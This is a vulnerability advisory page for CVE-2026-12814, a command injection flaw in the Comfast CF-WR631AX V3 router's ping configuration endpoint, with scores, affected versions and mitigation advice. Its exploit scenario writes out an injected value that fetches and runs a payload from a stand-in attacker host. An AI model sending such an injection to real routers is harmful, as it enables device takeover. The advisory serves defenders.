Skip to main content

Comfast CF-WR631AX EUVDEUVD-2026-38200

| CVE-2026-12814 LOW
OS Command Injection (CWE-78)
2026-06-21 VulDB GHSA-fvx9-6cqj-p3f8
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Acquire router admin credentials (default or stolen)
  2. Delivery
    Authenticate to web management interface over HTTP
  3. Exploit
    Send crafted POST to /cgi-bin/mbox-config?section=ping_config
  4. Execution
    Inject shell metacharacters into destination parameter
  5. Persist
    system() executes injected OS commands as privileged process
  6. Impact
    Achieve persistent router compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated session on the router's administrative web interface, consistent with CVSS PR:L - the attacker must possess valid credentials for the management panel. Network-level reachability to the /cgi-bin/mbox-config?section=ping_config endpoint is also required, meaning the attacker must have access to the LAN-side management interface (default) or to the WAN interface if remote management has been enabled by the operator. The vulnerable code path is specifically triggered by processing the destination argument in the ping configuration function, which is passed unsanitized to a system call. Exploitation is constrained by the credential requirement; however, SOHO routers commonly ship with well-known default credentials that are frequently left unchanged, substantially reducing this barrier in practice. No special hardware, software, or non-default firmware configuration beyond router access is required once credentials are obtained.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) correctly characterizes this as a low-complexity, network-accessible flaw requiring only authenticated access - all consistent with targeting a router admin panel over HTTP. However, the reported score of 2.1 with impact metrics VC:L/VI:L/VA:L is critically inconsistent with the actual severity of OS command injection on embedded firmware: this class of flaw typically grants full root-level system compromise, warranting High impact across all three CIA dimensions. The low score appears to reflect understated impact ratings in the source data and should not be used for prioritization without independent verification. The existence of a public PoC and full analysis report on GitHub (confirmed by VulDB reference tag 'exploit') significantly elevates real-world risk above what the raw score implies. No CISA KEV listing is present, so active exploitation at scale is not confirmed, but the public PoC means opportunistic exploitation is plausible. The vendor's non-response to responsible disclosure eliminates the possibility of an imminent official patch, making this a sustained exposure for all owners of this hardware.

Exploit ScenarioDerived

An attacker who has obtained valid router administrative credentials - whether through credential stuffing against default credentials, phishing, or prior network compromise - sends a crafted HTTP request to /cgi-bin/mbox-config?section=ping_config with a destination parameter containing shell metacharacters such as 8.8.8.8; wget http://attacker.com/payload -O /tmp/p; chmod +x /tmp/p; /tmp/p, causing the router's CGI handler to pass the injected string to the system shell and execute arbitrary commands. A full technical analysis report with exploit details is publicly available on GitHub, meaning a moderately skilled attacker can weaponize this with minimal effort. Depending on whether the admin interface is WAN-exposed, exploitation may be achievable from the internet without requiring physical or LAN proximity.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

OS command injection in Comfast CF-WR631AX V3 firmware (versions 2.7.0.0 through 2.7.0.8) allows an authenticated remote attacker to execute arbitrary operating system commands by injecting shell metacharacters into the destination parameter of the ping configuration API endpoint at /cgi-bin/mbox-config?section=ping_config. A detailed public exploit analysis report is available on GitHub, materially lowering the exploitation barrier, though no CISA KEV listing confirms active in-the-wild campaigns at time of analysis. The vendor was notified prior to disclosure and did not respond, leaving all known firmware versions without a patch.

RemediationAI

No vendor-released patch has been identified at time of analysis; the vendor did not respond to responsible disclosure. The primary mitigation is to immediately restrict network access to the router's administrative management interface: disable WAN-side remote management if enabled (preventing external attackers from reaching the CGI endpoint), and restrict LAN-side access to the admin interface to trusted management hosts only using access control lists or VLAN segmentation - this limits the pool of authenticated users who can reach /cgi-bin/mbox-config. If the device cannot be adequately isolated, replace it with supported hardware from a vendor with an active security response program, as the vendor's non-response indicates no remediation path is forthcoming. Enforce strong, non-default administrative credentials to raise the credential-acquisition bar, since exploitation requires PR:L authentication. Monitor VulDB entry https://vuldb.com/vuln/372608 and the public PoC repository at https://github.com/0xcc12138/COMFAST-CF-WR631AX-Router-Backend-Command-Injection-RCE-Analysis-Report for any firmware updates or additional technical details.

Affected VersionsENISA

CF-WR631AX V3 2.7.0.0
CF-WR631AX V3 2.7.0.2
CF-WR631AX V3 2.7.0.5
CF-WR631AX V3 2.7.0.7
CF-WR631AX V3 2.7.0.8
CF-WR631AX V3 2.7.0.6
CF-WR631AX V3 2.7.0.4
CF-WR631AX V3 2.7.0.1
CF-WR631AX V3 2.7.0.3

Affected Packages

euvd cf_wr631ax_v3 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in a CGI-based API handler on the Comfast CF-WR631AX V3 SOHO wireless router, identified by CPE cpe:2.3:a:comfast:cf-wr631ax_v3:*:*:*:*:*:*:*:*. The affected code path invokes the C standard library system() function - or an equivalent shell-dispatch call - within the ping configuration handler at /cgi-bin/mbox-config?section=ping_config, passing user-supplied input from the destination argument directly to the shell without sanitization or allowlist validation. CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) describes this root cause: the application constructs an OS command string using untrusted data, enabling shell metacharacter injection (semicolons, pipes, backticks, dollar-sign subshells) that the underlying shell interprets as additional commands. Embedded router firmware of this class commonly runs as root or a privileged daemon, meaning injected commands execute with elevated OS privileges. The CGI interface is a common attack surface on SOHO devices and is frequently accessible on the LAN-side management interface and, when remote management is enabled, on the WAN interface.

Know when Cf Wr631Ax V3 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 9.9 CRITICAL

PR:L for required authentication; S:C and H/H/H because OS command injection on router firmware breaks application boundary, yielding full system root access.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 21, 2026 - 23:22 NVD
MEDIUM LOW
CVSS changed
Jun 21, 2026 - 23:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A flaw has been found in Comfast CF-WR631AX V3 up to 2.7.0.8. This issue affects the function system of the file /cgi-bin/mbox-config?section=ping_config of the component API Endpoint. This manipulation of the argument destination causes os command injection. The attack is possible to be carried out remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
1.2%
Top 36% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy